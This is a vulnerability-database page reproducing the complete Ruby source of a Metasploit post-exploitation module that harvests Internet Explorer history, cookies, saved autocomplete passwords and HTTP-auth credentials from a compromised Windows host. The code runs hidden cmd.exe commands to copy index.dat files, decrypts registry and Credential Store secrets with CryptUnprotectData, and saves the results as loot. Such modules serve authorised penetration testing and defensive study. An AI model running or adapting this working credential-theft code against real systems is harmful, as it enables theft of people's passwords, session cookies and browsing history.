Lucene search
K

Windows Gather Internet Explorer User Data Enumeration

🗓️ 07 Oct 2011 21:02:05Reported by Kx499Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 40 Views

Windows Gather Internet Explorer User Data Enumeration module collects history, cookies, and credentials from Internet Explorer for versions >=7

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post
  include Msf::Post::File
  include Msf::Post::Windows::Registry

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Windows Gather Internet Explorer User Data Enumeration',
        'Description' => %q{
          This module will collect history, cookies, and credentials (from either HTTP
          auth passwords, or saved form passwords found in auto-complete) in
          Internet Explorer. The ability to gather credentials is only supported
          for versions of IE >=7, while history and cookies can be extracted for all
          versions.
        },
        'License' => MSF_LICENSE,
        'Platform' => ['win'],
        'SessionTypes' => ['meterpreter'],
        'Author' => ['Kx499'],
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              core_channel_eof
              core_channel_open
              core_channel_read
              core_channel_write
              stdapi_fs_stat
              stdapi_railgun_api
              stdapi_sys_config_getenv
              stdapi_sys_config_sysinfo
              stdapi_sys_process_attach
              stdapi_sys_process_execute
              stdapi_sys_process_get_processes
              stdapi_sys_process_memory_allocate
              stdapi_sys_process_memory_read
              stdapi_sys_process_memory_write
            ]
          }
        }
      )
    )
  end

  #
  # RAILGUN HELPER FUNCTIONS
  #
  def is_86
    pid = session.sys.process.open.pid
    return session.sys.process.each_process.find { |i| i['pid'] == pid } ['arch'] == 'x86'
  end

  def pack_add(data)
    if is_86
      addr = [data].pack('V')
    else
      addr = [data].pack('Q<')
    end
    return addr
  end

  def mem_write(data, length)
    pid = session.sys.process.open.pid
    process = session.sys.process.open(pid, PROCESS_ALL_ACCESS)
    mem = process.memory.allocate(length)
    process.memory.write(mem, data)
    return mem
  end

  def read_str(address, len, type)
    begin
      pid = session.sys.process.open.pid
      process = session.sys.process.open(pid, PROCESS_ALL_ACCESS)
      raw = process.memory.read(address, len)
      if type == 0 # unicode
        str_data = raw.gsub("\x00", '')
      elsif type == 1 # null terminated
        str_data = raw.unpack('Z*')[0]
      elsif type == 2 # raw data
        str_data = raw
      end
    rescue StandardError
      str_data = nil
    end
    return str_data || 'Error Decrypting'
  end

  #
  # DECRYPT FUNCTIONS
  #
  def decrypt_reg(entropy, data)
    c32 = session.railgun.crypt32
    # set up entropy
    salt = []
    entropy.each_byte do |c|
      salt << c
    end
    ent = salt.pack('v*')

    # save values to memory and pack addresses
    mem = mem_write(data, 1024)
    mem2 = mem_write(ent, 1024)
    addr = pack_add(mem)
    len = pack_add(data.length)
    eaddr = pack_add(mem2)
    elen = pack_add((entropy.length + 1) * 2)

    # cal railgun to decrypt
    if is_86
      ret = c32.CryptUnprotectData("#{len}#{addr}", 16, "#{elen}#{eaddr}", nil, nil, 1, 8)
      len, add = ret['pDataOut'].unpack('V2')
    else
      ret = c32.CryptUnprotectData("#{len}#{addr}", 16, "#{elen}#{eaddr}", nil, nil, 1, 16)
      len, add = ret['pDataOut'].unpack('Q2')
    end

    return '' unless ret['return']

    return read_str(add, len, 2)
  end

  def decrypt_cred(daddr, dlen)
    c32 = session.railgun.crypt32
    # set up entropy
    guid = 'abe2869f-9b47-4cd9-a358-c22904dba7f7'
    ent_sz = 74
    salt = []
    guid.each_byte do |c|
      salt << c * 4
    end
    ent = salt.pack('v*')

    # write entropy to memory and pack addresses
    mem = mem_write(ent, 1024)
    addr = pack_add(daddr)
    len = pack_add(dlen)
    eaddr = pack_add(mem)
    elen = pack_add(ent_sz)

    # prep vars and call function
    if is_86
      ret = c32.CryptUnprotectData("#{len}#{addr}", 16, "#{elen}#{eaddr}", nil, nil, 0, 8)
      len, add = ret['pDataOut'].unpack('V2')
    else
      ret = c32.CryptUnprotectData("#{len}#{addr}", 16, "#{elen}#{eaddr}", nil, nil, 0, 16)
      len, add = ret['pDataOut'].unpack('Q<2')
    end

    # get data, and return it
    return '' unless ret['return']

    return read_str(add, len, 0)
  end

  #
  # Extract IE Data Functions
  #
  def get_stuff(path, history)
    t = DateTime.new(1601, 1, 1, 0, 0, 0)
    tmpout = ''
    if history
      re = /\x55\x52\x4C\x20.{4}(.{8})(.{8}).*?\x56\x69\x73\x69\x74\x65\x64\x3A.*?\x40(.*?)\x00/m
    else # get cookies
      re = /\x55\x52\x4C\x20.{4}(.{8})(.{8}).*?\x43\x6F\x6F\x6B\x69\x65\x3A(.*?)\x00/m
    end

    outfile = session.fs.file.new(path, 'rb')
    until outfile.eof?
      begin
        tmpout << outfile.read
      rescue StandardError
        nil
      end
    end
    outfile.close

    urls = tmpout.scan(re)
    urls.each do |url|
      # date modified
      hist = {}
      origh = url[0].unpack('H*')[0]
      harr = origh.scan(/[0-9A-Fa-f]{2}/).map(&:to_s)
      newh = harr.reverse.join
      hfloat = newh.hex.to_f
      sec = hfloat / 10000000
      days = sec / 86400
      timestamp = t + days
      hist['dtmod'] = timestamp.to_s

      # date accessed
      origh = url[1].unpack('H*')[0]
      harr = origh.scan(/[0-9A-Fa-f]{2}/).map(&:to_s)
      newh = harr.reverse.join
      hfloat = newh.hex.to_f
      sec = hfloat / 10000000
      days = sec / 86400
      timestamp = t + days
      hist['dtacc'] = timestamp.to_s
      hist['url'] = url[2]
      if history
        @hist_col << hist
        @hist_table << [hist['dtmod'], hist['dtacc'], hist['url']]
      else
        @cook_table << [hist['dtmod'], hist['dtacc'], hist['url']]
      end
    end
  end

  def hash_url(url)
    rg_advapi = session.railgun.advapi32
    tail = 0
    prov = 'Microsoft Enhanced Cryptographic Provider v1.0'
    flag = 0xF0000000
    context = rg_advapi.CryptAcquireContextW(4, nil, prov, 1, 0xF0000000)
    h = rg_advapi.CryptCreateHash(context['phProv'], 32772, 0, 0, 4)
    hdata = rg_advapi.CryptHashData(h['phHash'], url, (url.length + 1) * 2, 0)
    hparam = rg_advapi.CryptGetHashParam(h['phHash'], 2, 20, 20, 0)
    hval_arr = hparam['pbData'].unpack('C*')
    hval = hparam['pbData'].unpack('H*')[0]
    rg_advapi.CryptDestroyHash(h['phHash'])
    rg_advapi.CryptReleaseContext(context['phProv'], 0)
    tail = hval_arr.inject(0) { |s, v| s += v }
    htail = ('%02x' % tail)[-2, 2]
    return "#{hval}#{htail}"
  end

  def run
    # check for meterpreter and version of ie
    if (session.type != 'meterpreter') && session.platform !~ (/win/)
      print_error('This module only works with Windows Meterpreter sessions')
      return 0
    end

    # get version of ie and check it
    ver = registry_getvaldata('HKLM\\SOFTWARE\\Microsoft\\Internet Explorer', 'Version')
    print_status("IE Version: #{ver}")
    if ver =~ /(6\.|5\.)/
      print_error('This module will only extract credentials for >= IE7')
    end

    # setup tables
    @hist_table = Rex::Text::Table.new(
      'Header' => 'History data',
      'Indent' => 1,
      'Columns' => ['Date Modified', 'Date Accessed', 'Url']
    )

    @cook_table = Rex::Text::Table.new(
      'Header' => 'Cookies data',
      'Indent' => 1,
      'Columns' => ['Date Modified', 'Date Accessed', 'Url']
    )

    cred_table = Rex::Text::Table.new(
      'Header' => 'Credential data',
      'Indent' => 1,
      'Columns' => ['Type', 'Url', 'User', 'Pass']
    )

    # set up vars
    host = session.sys.config.sysinfo
    @hist_col = []

    # set paths
    regpath = 'HKCU\\Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2'
    vist_h = '\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat'
    vist_hlow = '\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\index.dat'
    xp_h = '\\Local Settings\\History\\History.IE5\\index.dat'
    vist_c = '\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat'
    vist_clow = '\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\index.dat'
    xp_c = '\\Cookies\\index.dat'
    h_paths = []
    c_paths = []
    base = session.sys.config.getenv('USERPROFILE')
    if host['OS'] =~ /(Windows 7|2008|Vista)/
      h_paths << base + vist_h
      h_paths << base + vist_hlow
      c_paths << base + vist_c
      c_paths << base + vist_clow
    else
      h_paths << base + xp_h
      c_paths << base + xp_c
    end

    # Get history and cookies
    print_status('Retrieving history.....')
    h_paths.each do |hpath|
      next unless session.fs.file.exist?(hpath)

      print_line("\tFile: #{hpath}")
      # copy file
      cmd = "cmd.exe /c type \"#{hpath}\" > \"#{base}\\index.dat\""
      r = session.sys.process.execute(cmd, nil, { 'Hidden' => true })

      # loop until cmd is done
      # while session.sys.process.each_process.find { |i| i["pid"] == r.pid}
      # end
      sleep(1)

      # get stuff and delete
      get_stuff("#{base}\\index.dat", true)
      cmd = "cmd.exe /c del \"#{base}\\index.dat\""
      session.sys.process.execute(cmd, nil, { 'Hidden' => true })
    end

    print_status('Retrieving cookies.....')
    c_paths.each do |cpath|
      next unless session.fs.file.exist?(cpath)

      print_line("\tFile: #{cpath}")
      # copy file
      cmd = "cmd.exe /c type \"#{cpath}\" > \"#{base}\\index.dat\""
      r = session.sys.process.execute(cmd, nil, { 'Hidden' => true })

      # loop until cmd is done
      # while session.sys.process.each_process.find { |i| i["pid"] == r.pid}
      # end
      sleep(1)

      # get stuff and delete
      get_stuff("#{base}\\index.dat", false)
      cmd = "cmd.exe /c del \"#{base}\\index.dat\""
      session.sys.process.execute(cmd, nil, { 'Hidden' => true })
    end

    # get autocomplete creds
    print_status('Looping through history to find autocomplete data....')
    val_arr = registry_enumvals(regpath)
    if val_arr
      @hist_col.each do |hitem|
        url = hitem['url'].split('?')[0].downcase
        hash = hash_url(url).upcase
        next unless val_arr.include?(hash)

        data = registry_getvaldata(regpath, hash)
        dec = decrypt_reg(url, data)

        # If CryptUnprotectData fails, decrypt_reg() will return "", and unpack() will end up
        # returning an array of nils. If this happens, we can cause an "undefined method
        # `+' for NilClass." when we try to calculate the offset, and this causes the module to die.
        next if dec.empty?

        # decode data and add to creds array
        header = dec.unpack('VVVVVV')

        offset = header[0] + header[1] # offset to start of data
        cnt = header[5] / 2 # of username/password combinations
        secrets = dec[offset, dec.length - (offset + 1)].split("\x00\x00")
        for i in (0..cnt).step(2)
          cred = {}
          cred['type'] = 'Auto Complete'
          cred['url'] = url
          cred['user'] = secrets[i].gsub("\x00", '')
          cred['pass'] = secrets[i + 1].gsub("\x00", '') unless secrets[i + 1].nil?
          cred_table << [cred['type'], cred['url'], cred['user'], cred['pass']]
        end
      end
    else
      print_error('No autocomplete entries found in registry')
    end

    # get creds from credential store
    print_status('Looking in the Credential Store for HTTP Authentication Creds...')
    # get data from credential store
    ret = session.railgun.advapi32.CredEnumerateA(nil, 0, 4, 4)
    p_to_arr = ret['Credentials'].unpack('V')
    arr_len = ret['Count'] * 4 if is_86
    arr_len = ret['Count'] * 8 unless is_86

    # read array of addresses as pointers to each structure
    raw = read_str(p_to_arr[0], arr_len, 2)
    pcred_array = raw.unpack('V*') if is_86
    pcred_array = raw.unpack('Q<*') unless is_86

    # loop through the addresses and read each credential structure
    pcred_array.each do |pcred|
      raw = read_str(pcred, 52, 2)
      cred_struct = raw.unpack('VVVVQ<VVVVVVV') if is_86
      cred_struct = raw.unpack('VVQ<Q<Q<Q<Q<VVQ<Q<Q<') unless is_86

      location = read_str(cred_struct[2], 512, 1)
      next unless location.include? 'Microsoft_WinInet'

      decrypted = decrypt_cred(cred_struct[6], cred_struct[5])
      cred = {}
      cred['type'] = 'Credential Store'
      cred['url'] = location.gsub('Microsoft_WinInet_', '')
      cred['user'] = decrypted.split(':')[0] || 'No Data'
      cred['pass'] = decrypted.split(':')[1] || 'No Data'
      cred_table << [cred['type'], cred['url'], cred['user'], cred['pass']]
    end

    # store data in loot
    if !@hist_table.rows.empty?
      print_status('Writing history to loot...')
      path = store_loot(
        'ie.history',
        'text/plain',
        session,
        @hist_table,
        'ie_history.txt',
        'Internet Explorer Browsing History'
      )
      print_good("Data saved in: #{path}")
    end

    if !@cook_table.rows.empty?
      print_status('Writing cookies to loot...')
      path = store_loot(
        'ie.cookies',
        'text/plain',
        session,
        @cook_table,
        'ie_cookies.txt',
        'Internet Explorer Cookies'
      )
      print_good("Data saved in: #{path}")
    end

    if !cred_table.rows.empty?
      print_status('Writing gathered credentials to loot...')
      path = store_loot(
        'ie.user.creds',
        'text/plain',
        session,
        cred_table,
        'ie_creds.txt',
        'Internet Explorer User Credentials'
      )

      print_good("Data saved in: #{path}")
      # print creds
      print_line('')
      print_line(cred_table.to_s)
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

08 Feb 2023 13:47Current
10High risk
Vulners AI Score10
40